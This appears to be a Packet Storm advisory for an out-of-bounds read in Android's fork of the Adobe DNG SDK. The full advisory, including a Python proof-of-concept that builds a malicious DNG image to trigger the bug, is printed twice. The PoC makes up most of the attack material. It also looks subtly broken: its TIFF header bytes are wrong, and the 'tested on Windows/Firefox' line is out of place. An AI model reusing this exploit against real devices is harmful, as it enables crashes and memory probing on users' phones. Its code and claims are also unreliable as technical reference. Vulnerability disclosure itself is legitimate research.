Description
A vulnerability exists in Adobe DNG SDK the fork used by Android due to improper validation of the fAreaSpec fields inside the dngopcodeDeltaPerRow::ProcessArea function. If an attacker supplies a crafted DNG file with an empty or malformed fAreaSpec,...
Basic Information
ID
PACKETSTORM:212379
Published
Dec 3, 2025 at 00:00
Affected Product
Affected Versions
=============================================================================================================================================
| # Title : Adobe DNG SDK v1.4 (Android’s fork) Out-of-Bounds Read |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://cs.android.com/android/platform/superproject/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/207365/
[+] Summary :
A vulnerability exists in Adobe DNG SDK (the fork used by Android) due to improper validation of the fAreaSpec fields inside the dng_opcode_DeltaPerRow::ProcessArea function.
If an attacker supplies a crafted DNG file with an empty or malformed fAreaSpec, the SDK performs arithmetic that results in signed integer underflow.
This underflow leads to an out‑of‑bounds read when computing the lookup table pointer.
Because the DNG SDK is widely used in Android’s raw‑image pipeline (BuildImageStage2), the bug becomes reachable from remote contexts that process untrusted DNG images.
The vulnerability can result in a crash and may enable ASLR bypass, since observable differences in behavior depend on memory layout.
Android has shipped this vulnerable DNG fork for over 12 years, affecting multiple generations of devices.
[+] Affected Version : Adobe DNG SDK v1.4 (Android’s fork)
All Android versions using this fork, including:
Android 15
Android 14
Android 13
And earlier versions
[+] POC : python poc.py ===> Python version to generate the malicious DNG:
import struct
def create_malicious_dng(filename):
with open(filename, 'wb') as f:
# TIFF Header
f.write(struct.pack('<I', 0x49492A00)) # Little endian
f.write(struct.pack('<I', 8)) # First IFD offset
# IFD with 3 entries
f.write(struct.pack('<H', 3)) # 3 entries
# Minimal required IFD entries
entries = [
(256, 4, 1, 64), # ImageWidth
(257, 4, 1, 64), # ImageLength
(51011, 7, 60, 128), # OpcodeList3 at offset 128
]
for tag, type, count, value in entries:
f.write(struct.pack('<HHII', tag, type, count, value))
f.write(struct.pack('<I', 0)) # Next IFD (0 = end)
# Write some dummy image data at offset 24
f.seek(24)
f.write(b'\x00' * 100)
# Write malicious opcode at offset 128
f.seek(128)
# DeltaPerRow opcode - 11 parameters total
opcode_params = [
0x0002, # opcode_id: DeltaPerRow
1, # version
0, # flags
100, # top - VULNERABILITY TRIGGER
0, # left
50, # bottom - top >= bottom makes fAreaSpec empty
64, # right
1, # row_pitch
1, # col_pitch
0, # plane
1 # planes
]
# Pack each parameter individually to avoid format string issues
for param in opcode_params:
f.write(struct.pack('<I', param))
# Table size and data
table_size = 50 # Small table to ensure OOB read
f.write(struct.pack('<I', table_size))
# Write table data
for i in range(table_size):
f.write(struct.pack('<f', 0.1))
print(f"Malicious DNG created: {filename}")
if __name__ == "__main__":
create_malicious_dng("poc.dng")
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================
| # Title : Adobe DNG SDK v1.4 (Android’s fork) Out-of-Bounds Read |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://cs.android.com/android/platform/superproject/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/207365/
[+] Summary :
A vulnerability exists in Adobe DNG SDK (the fork used by Android) due to improper validation of the fAreaSpec fields inside the dng_opcode_DeltaPerRow::ProcessArea function.
If an attacker supplies a crafted DNG file with an empty or malformed fAreaSpec, the SDK performs arithmetic that results in signed integer underflow.
This underflow leads to an out‑of‑bounds read when computing the lookup table pointer.
Because the DNG SDK is widely used in Android’s raw‑image pipeline (BuildImageStage2), the bug becomes reachable from remote contexts that process untrusted DNG images.
The vulnerability can result in a crash and may enable ASLR bypass, since observable differences in behavior depend on memory layout.
Android has shipped this vulnerable DNG fork for over 12 years, affecting multiple generations of devices.
[+] Affected Version : Adobe DNG SDK v1.4 (Android’s fork)
All Android versions using this fork, including:
Android 15
Android 14
Android 13
And earlier versions
[+] POC : python poc.py ===> Python version to generate the malicious DNG:
import struct
def create_malicious_dng(filename):
with open(filename, 'wb') as f:
# TIFF Header
f.write(struct.pack('<I', 0x49492A00)) # Little endian
f.write(struct.pack('<I', 8)) # First IFD offset
# IFD with 3 entries
f.write(struct.pack('<H', 3)) # 3 entries
# Minimal required IFD entries
entries = [
(256, 4, 1, 64), # ImageWidth
(257, 4, 1, 64), # ImageLength
(51011, 7, 60, 128), # OpcodeList3 at offset 128
]
for tag, type, count, value in entries:
f.write(struct.pack('<HHII', tag, type, count, value))
f.write(struct.pack('<I', 0)) # Next IFD (0 = end)
# Write some dummy image data at offset 24
f.seek(24)
f.write(b'\x00' * 100)
# Write malicious opcode at offset 128
f.seek(128)
# DeltaPerRow opcode - 11 parameters total
opcode_params = [
0x0002, # opcode_id: DeltaPerRow
1, # version
0, # flags
100, # top - VULNERABILITY TRIGGER
0, # left
50, # bottom - top >= bottom makes fAreaSpec empty
64, # right
1, # row_pitch
1, # col_pitch
0, # plane
1 # planes
]
# Pack each parameter individually to avoid format string issues
for param in opcode_params:
f.write(struct.pack('<I', param))
# Table size and data
table_size = 50 # Small table to ensure OOB read
f.write(struct.pack('<I', table_size))
# Write table data
for i in range(table_size):
f.write(struct.pack('<f', 0.1))
print(f"Malicious DNG created: {filename}")
if __name__ == "__main__":
create_malicious_dng("poc.dng")
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================